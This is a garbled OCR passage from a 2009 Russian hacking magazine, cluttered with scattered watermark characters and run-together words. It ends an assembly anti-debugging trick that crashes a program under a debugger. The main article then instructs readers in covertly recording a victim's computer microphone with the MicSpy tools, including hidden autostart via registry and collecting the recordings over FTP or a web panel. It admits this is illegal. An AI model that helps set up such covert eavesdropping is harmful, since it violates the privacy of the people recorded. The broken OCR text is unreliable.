d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ИЗМЕНЯЕМ ТОЧКУ ВХОДА ПРОГРАММЫ

 

«БРАТ-БЛИЗНЕЦ» OLLYDBG —

очищаться; соответственно, выполнятьсябудет

«ПИТОНОВЫЙ» IMMUNITY

неоригинальнаяинструкция, амашинныйкод,

 

которымонабылаперезаписана.

 

Эта особенность была изменена в процес-

Итак, воткакдействуетоперационнаясис-

сорах Pentium и старше. Несмотря на это,

тема, выполняянаборинструкций:

команды MOVS и STOS с префиксом REP

1. Помещениевстекадреса00401000.

продолжают кэшироваться. Следовательно,

2. Вызовкода, размещенногопоадресу

они выполняются даже в том случае, когда

00401035, и, соответственно, помещениевстек

произошла их перезапись. В нашем случае

адреса00401030. Этоестественно, таккаквмо-

процессор выполняет очистку очереди пред-

ментвызоваавтоматическисохраняетсяадрес

варительной выборки и выполняет операцию

инструкции, следующейзакомандой«call»,

ЕСТЕСТВЕННОПРЕДПОЛОЖИТЬ,ЧТОВЫПОЛНЕНИЕКОДАДОЛЖНООСТАНОВИТЬСЯСРАЗУПОСЛЕТОГО,КАКИНСТРУКЦИЯ REPSTOSBБУДЕТПЕРЕЗАПИСАНА.

«RET». Эту особенность можно использовать

котораяинициировалавызов.

в антиотладочных целях. Код, написанный

3. Инициализацияинструкциицикла«REP

нами, будет дробить любые попытки пошаго-

STOS» — врегистрыбудутпомещенынеобходи-

вой отладки приложения.

мыеданные.

Будем изучать действие кода на примере

4. Выполнениеинструкции«REP STOS» допол-

программы, рассмотренной выше. Перед

нойотработкицикла(обнулениеECX).

внедрением защитного кода изменим

5. Выполнениеинструкции«RET». Инструкция

точку входа программы на 0x401026, где

REP STOS WORD PTR ES:[EDI], расположенная

он и будет размещен (используй LordPE).

поадресу0x401030, выполненанебудет, таккак

Откроем программу в OllyDbg и дополним

регистр-счетчикECX будетсодержатьнулевое

ее кодом:

значение.

6. Выполнениевозвратапоадресу0x401000, помещенномувстекранее.

Естественно, всевыполнитсябеззаминок. Авотчтопроизойдет, еслипрограммубудет отлаживатьреверсер:

1.Помещениевстекадреса0040100.

2.Вызовкода, размещенногопоадресу 00401035, и, соответственно, помещениевстек адреса00401030.

3.Инициализацияинструкциицикла«REP STOS» — врегистрыбудутпомещенынеобходимыеданные.

4.Выполнениеинструкции«REP STOS» до моментаперезаписикода— очередьпредварительнойвыборкибудеточищена.

5.Выполнениеинструкции«RET». Инструкция

REP STOS WORD PTR ES:[EDI], расположенная поадресу0x401030, выполнится, таккакре- гистр-счетчикECX будетсодержатьзначение, отличноеотнулевого.

6.Послетого, какEDI достигнетзначения 0x402000, произойдетисключение— ошибка записивпамять(«Access violation when writing to…»).

Программауйдетвштопор, чтоврядлиобрадуеткрякера:). Почемувыполнениеинструкции

REP STOS WORD PTR ES:[EDI] (говоряпроще, «REP STOSW») приненулевомзначенииECX приводитккраху? Чтобыпонятьэто, разберем механизмдействиякоманды«STOS». «STOre String» — команда, котораяпомещаетпоадресу, указанномуврегистреEDI, байт, словоили двойноеслово(дляегоуказанияиспользуется регистрEAX илиегочасти) иавтоматически корректируетзначениеадресногорегистра EDI. Команда«STOSB» используетвкачестве операндазначениерегистраAL, аинструкция

«STOSW» — регистраAX.

Значит, привыполненииинструкцииREP STOSW будетзадействованрегистрAX. Следовательно, адресныйрегистр(EDI) будет корректироватьсянена1 байт, ана2, чтоприведеткдостижениюимкритическогозначения 0x402000. Выполнениепрограммыстанет невозможно.z

00401026

PUSH 00401000

«СОБИРАЕМ» ФАЙЛПРОГРАММЫПРИПОМОЩИMASM32

0040102B

CALL 00401035

 

00401030

REP STOS WORD PTR ES:[EDI]

 

00401033

NOP

 

00401034

NOP

 

00401035

MOV AL,0C3

 

00401037

MOV EDI, 00401035

 

0040103C

MOV ECX, 0FCA

 

00401041

REP STOS BYTE PTR ES:[EDI]

 

 

 

 

Что произойдет, если программа, измененная подобным образом, выполнится обычным способом (вне отладчика)? Антиотладочный код работоспособен, так как вновь записанная инструкция RET, ведущая к REP STOS WORD PTR ES:[EDI], выполнится только после обнуления регистра ECX, ведь очередь предварительной выборки не будет очищена.

XÀÊÅÐ 09 /129/ 09

065

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

ВЗЛОМ

 

w Click

 

 

 

 

 

 

ЛЕОНИД «R0ID» СТРОЙКОВ / R0ID@MAIL.RU /

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ОТКЛЮЧАЕМ НЕИСПОЛЬЗУЕМЫЙ МИКРОФОН

ТРОЯНСКИЙ

МИКРОФОН

Подслушиваемобстановкувокругкомпьютера

Тылюбишьобщатьсявскайпеилидругихголосовыхклиентах? Аможетбыть, втвоемноутеиликомпемикрофонвходитвстандартную конфигурацию? Казалосьбы, чтовэтомплохого? Напервыйвзгляд— ничего, но, поверьмне— тебяслушают, брат. Давнослушают!

ВЫГОВОРИТЕ— МЫСЛУШАЕМ

Чтобытыпонялсмыслпроисходящего, я начнустеории. Восновелюбогоудаленного прослушиваниялежитдваосновныхмомента:

1.Запись

2.Передача записанного

Как ты понимаешь, любой компьютероподобный девайс, в том числе и ноут/КПК/ нетбук/etc, способен соответствовать обоим пунктам, но при выполнении ряда условий:

1.Наличие устройства звукозаписи

2.Наличие устройства передачи данных

Впервомслучаеидеальноподойдетмикрофон, которыйподефолтувходитвконфигурациюбольшинствамобильныхустройств, аво втором— 3G/EDGE-модем, либоWi-Fi-модуль. Ядумаю, тыужепонял, кчемуяклоню— для прослушкипомещениятребуетсялишькомп (ноутбук) сподключеннымкнемумикрофоном имодемом. Согласись, подобныетребованиядалеконеэкзотичны, иосновнаямасса девайсовбудетимсоответствовать. Азначит

— мысможемуслышатьто, чтонамсовсем не предназначалось:).

Справедливостирадиотмечу, чтоидеяне новаиобладаетрядомнедостатков. Во-пер- вых, качествозвуканапрямуюзависитот звукозаписывающегоустройства: ожидатьот среднестатистическогокитайскогомикрофоначувствительностиврадиуседесятка метровнестоит. Во-вторых, нампотребуется софт, способныйскрытноработатьвсистеме, вестизвукозаписьиотсылатьзаписанное нам. И, наконец, всеэточертовскипротивозаконно, поэтомусоветуюрассмотретьидею лишьвтеории. Впрочем... еслизакрытьна

066

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

MICSPY++ ОТ NIGHTMARЕ В ДЕЙСТВИИ

Крометого, принаписанииполноценногоавтоматизированногософта, следуетучитывать рядважныхмоментов. Аименно:

• Автоматический запуск при загрузке ОС

• Скрытая работа в системе

Дабынесбитьсяснамеченногокурса, сразу перейдемкпервомупункту— осуществлениюскрытойзвукозаписи. Есликодингомты занимаешьсянепервыйдень, тонабросать подобнуюутилутебенесоставитособого труда. Впротивномслучае— можнозапросто заюзатьужеготовыйсофт, неизобретаяпри этомвелосипед:). Специализированныхутил подобногородамневстречалосьлишьдве—

MicSpy отSLESH'аиMicSpy++ отNightmarе.

Несмотрянасхожестьвназваниях, отличия вфункционалеприсутствуют, поэтомумы подробноознакомимсяскаждойизсофтин. Начнемпопорядку, тоестьсMicSpy.

• Утила написана на делфи

• Размер упакованного exe'шника —

около 8 Кб

НЕСПАСАЕТПОЛОЖЕНИЕДАЖЕВЫПОЛНЕНИЕПРОГРАММЫПО<F9> • Записывает звук в формате mp3

• Сжатие — 24 КГц

всеэтипунктыглаза, тореализоватьзадуманноенетаксложно, каккажется:).

РЕАЛИЗАЦИЯИДЕИ, ИЛИ ПРОСЛУШКАВДЕЙСТВИИ

Стеоретическойчастьюразобрались, насталовремяперейтикпрактике. Начнеммы, как водится, скраткогопланадействий. Итак, нам потребуется:

1. Производить звукозапись в фоновом режиме с использованием уста-

УТИЛПОДОБНОГОРОДАМНЕВСТРЕЧАЛОСЬ ЛИШЬДВЕ—MICSPYОТSLESH'АИMICSPY++ ОТNIGHTMARЕ.

новленных в системе звукозаписываю-

 

• Битрейт — 32 Кбит/сек

щих устройств (если такие имеются)

 

• Использует дефолтовый виндовый

2.

Сохранять аудиозаписи

 

кодек MPEG LAYER-3

3.

Получать аудиозаписи (например,

 

• Генерирует имена файлов по маске:

через свой ftp-сервер)

 

год_месяц_день_час-минуты-секунды

 

 

 

 

XÀÊÅÐ 09 /129/ 09

067

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

ВЗЛОМ

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МИКРОФОНВСИСТЕМЕ— ОДНАИЗСКРЫТЫХУГРОЗ

Есть возможность управления утилой через web-интерфейс

Скрытая работа в системе

Кактыужепонял, основнойособенностью утилыявляетсявозможностьрулитьвсем черезweb-админку. Этопозволяет:

Начинать/останавливать запись

Отображать список всех записанных файлов

Удалять записи, выборочно

Скачивать записи, выборочно

Админка запускается автоматически, затем коннектиться следует на порт 4545, (например, http://127.0.0.1:4545). При ис-

пользовании утилы отпадает надобность писать дополнительную программную часть для передачи записанных файлов, ибо админка прекрасно справляется с

этой задачей. Однако не стоит забывать, что заюзать web-интерфейс получится лишь в случае, если у жертвы есть статический выделенный IP. Увы, но большинство мобильных девайсов с 3G/EDGE-мо- демами и Wi-Fi-карточками, скорее всего, останутся не у дел. Теперь рассмотрим утилу MicSpy++. Из интересующих нас особенностей можно выделить:

Совместимость с Windows NT (2000/ XP)

Использование стандартных кодеков и формата wma в Windows NT

Сжатие — 32 КГц по дефолту; возможно изменение значения по своему усмотрению

Ограничение записи в файл по временному промежутку (30 минут по дефолту)

Скрытая работа в системе

Словом, MicSpy++ представляетсобойфункциональнуюутилусоднимнедостатком— отсутствиевозможностипередачизаписанных файлов.

Такимобразом, обеутилыподходятдлярешениязадачизпервогоивторогопунктанашего плана, аименно— скрытаязвукозаписьи сохранениеаудиофайлов. Крометого, вряде случаевпрогаMicSpy способнавыполнитьи третийпункт— передачузаписанныхфайлов, нопоhttp-протоколуисизвестнымиограни- чениями(необходимстатическийвыделен- ныйIP-адресжертвы).

Переходимкрассмотрениювариантовполученияаудиофайлов(собственно, безэтого действиявсевышеизложенноенеимеет никакогосмысла). Сперваопределимсвое положениеотносительноатакуемогодевайса (компа/ноута/нетбука/etc). Ситуацииможет бытьдве:

1.Наличие физического либо удаленного доступа

2.Отсутствие такового

Первыйслучайнаиболеепростой, ибопри наличиифизическоголибоудаленного доступакмашинеотпадаетнеобходимость виспользованиидополнительногософта. Гораздопрощевсесделатьручкамипоследующемуалгоритму:

1.Создание условий для автомати- ческого запуска утилы (здесь все зависит только от твоей фантазии: будь то помещение утилы в «Автозагрузку» или внесение дополнительных значений в ключи реестра)

2.Установка звукозаписывающих устройств в системе (при удаленном доступе — включение, при физическом — можно и микрофончик хороший прицепить, незаметно)

3.Сбор накопленных аудиофайлов (при помощи консоли или удаленного рабочего стола; либо сурово скопировать все на флешку, если имеется физический доступ к девайсу)

Каквидишь, приналичиидоступакатакуемомукомпуникакихлишнихтелодвижений оттебянетребуется. Новотеслидоступанет иполучитьегоникакнельзя, — придется кодитьдополнительнуючастькзвукозаписывающейутиле, котораябудетвыполнятьроль лоадераисендерафайлов. Вэтомслучаеесть двапути: первый— накодитьполноценный лоадерсвозможностьюавтозапуска, загрузки файлов, ит.п., авторой— использоватьуже готовыйлоадер(подойдетлюбойрабочий пабликрелиз) инаписатьлишьнебольшой передатчикфайлов(например, наftp-сервер). Такилииначе, писатьпередатчикфайловна FTP-сервертебевсеравнопридется, поэтому

068

XÀÊÅÐ 09 /129/ 09

Соседние файлы в папке журнал хакер